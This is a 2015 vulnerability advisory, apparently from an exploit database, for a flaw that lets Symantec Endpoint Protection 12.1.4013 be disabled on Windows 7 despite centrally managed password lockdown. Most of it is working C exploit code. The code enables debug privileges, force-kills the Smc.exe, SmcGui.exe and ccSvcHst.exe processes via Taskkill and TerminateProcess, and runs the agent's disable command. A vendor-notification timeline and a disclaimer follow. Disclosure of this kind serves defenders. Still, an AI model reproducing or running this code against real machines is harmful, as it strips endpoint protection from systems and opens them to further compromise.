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# Exploit Title: Antivirus # Google Dork: intitle: Antivirus # Date: 2015-07-07 # Exploit Author: John Page ( hyp3rlinx ) # Website: hyp3rlinx.altervista.org # Vendor Homepage: www.symantec.com # Software Link: www.symantec.com/endpoint-protection # Version:12.1.4013 # Tested on: windows 7 SP1 # Category: Antivirus Vendor: ================================ Symantec ( www.symantec.com ) Product: ================================ Symantec EP 12.1.4013 Advisory Information: ================================================ Disabling Vulnerability Vulnerability Details: ===================== Symantec EP agent & services can be rendered useless even after globally locking down endpoint protection via a Symantec central management server and enabling globally managed password protection controls. Tested successfully on Windows 7 SP1 result may vary OS to OS. Exploit code(s): =============== #include <windows.h> #include <Tlhelp32.h> #define SMC_EXE "Smc.exe" #define SMC_GUI "SmcGui.exe" #define CC_SVC_HST "ccSvcHst.exe" /* By John Page (hyp3rlinx) - Dec 2014 - hyp3rlinx.altervista.org Symantec Endpoint Protection version 12.1.4013 First reported to Symantec - Jan 20, 2015 Goal: Kill Symantec EP agent & services after globally locking down endpoint protection via the Symantec central management server and enabling globally managed password protection controls. Tested successfully on Windows 7 SP1 result may vary OS to OS. Scenario: Run the from browser upon download or save to some directory and run Not the most elegant code and I don't care... */ void el_crookedio_crosso(const char *victimo){ HANDLE hSnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); PROCESSENTRY32 pEntry; pEntry.dwSize=sizeof(pEntry); BOOL hRes=Process32First(hSnapShot,&pEntry); while(hRes){ if(strcmp(pEntry.szExeFile,victimo)==0){ HANDLE hProcess=OpenProcess(PROCESS_TERMINATE,0,(DWORD)pEntry.th32ProcessID); if (hProcess!=NULL){ TerminateProcess(hProcess,9); CloseHandle(hProcess); } } hRes=Process32Next(hSnapShot,&pEntry); } CloseHandle(hSnapShot); } DWORD exeo_de_pid(char *ghostofsin){ DWORD ret=0; PROCESSENTRY32 pe32={sizeof (PROCESSENTRY32)}; HANDLE hProcSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); if (hProcSnap==INVALID_HANDLE_VALUE) return 0; if (Process32First (hProcSnap,&pe32)) do if (!strcmp(pe32.szExeFile,ghostofsin)) { ret=pe32.th32ProcessID; break; } while (Process32Next (hProcSnap,&pe32)); CloseHandle (hProcSnap); return ret; } void angelo_maliciouso(){ int AV=exeo_de_pid(SMC_EXE); char id[8]; sprintf(id, "%d ", AV); printf("%s", id); char cmd[50]="Taskkill /F /PID "; strcat(cmd, id); system(cmd); // system("Taskkill /F /IM Smc.exe"); //Access denied. system("\"C:\\Program Files (x86)\\Symantec\\Symantec Endpoint Protection\\Smc.exe\" -disable -ntp"); Sleep(1000); el_crookedio_crosso(SMC_EXE); el_crookedio_crosso(SMC_GUI); el_crookedio_crosso(CC_SVC_HST); } int main(void){ puts("/*-----------------------------------------------------------*/\n"); puts("| EXORCIST DE SYMANTEC Antivirus version 12.1.4013 |\n"); puts("| By hyp3rlinx - Jan 2015 |\n"); puts("/*------------------------------------------------------------*/\n"); SetDebugPrivileges(); angelo_maliciouso(); Sleep(1000); el_crookedio_crosso(SMC_EXE); el_crookedio_crosso(SMC_GUI); el_crookedio_crosso(CC_SVC_HST); Sleep(2000); angelo_maliciouso(); Sleep(6000); return 0; } int SetDebugPrivileges(){ DWORD err=0; TOKEN_PRIVILEGES Debug_Privileges; if(!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&Debug_Privileges.Privileges[0].Luid))return GetLastError(); HANDLE hToken=0; if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken)){ err=GetLastError(); if(hToken)CloseHandle(hToken); return err; } Debug_Privileges.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED; Debug_Privileges.PrivilegeCount=1; if(!AdjustTokenPrivileges(hToken,FALSE,&Debug_Privileges,0,NULL,NULL)){ err=GetLastError(); if(hToken) CloseHandle(hToken); } return err; } Disclosure Timeline: ========================================================= Vendor Notification: Jan 20, 2015 July 7, 2015 : Public Disclosure Severity Level: ========================================================= High Description: ================================================================== Request Method(s): [+] Click Vulnerable Product: [+] Symantec Endpoint Protection version 12.1.4013 Vulnerable Parameter(s): [+] N/A Affected Area(s): [+] Smc.exe, SmcGui.exe & ccSvcHst.exe ====================================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. (hyp3rlinx) |
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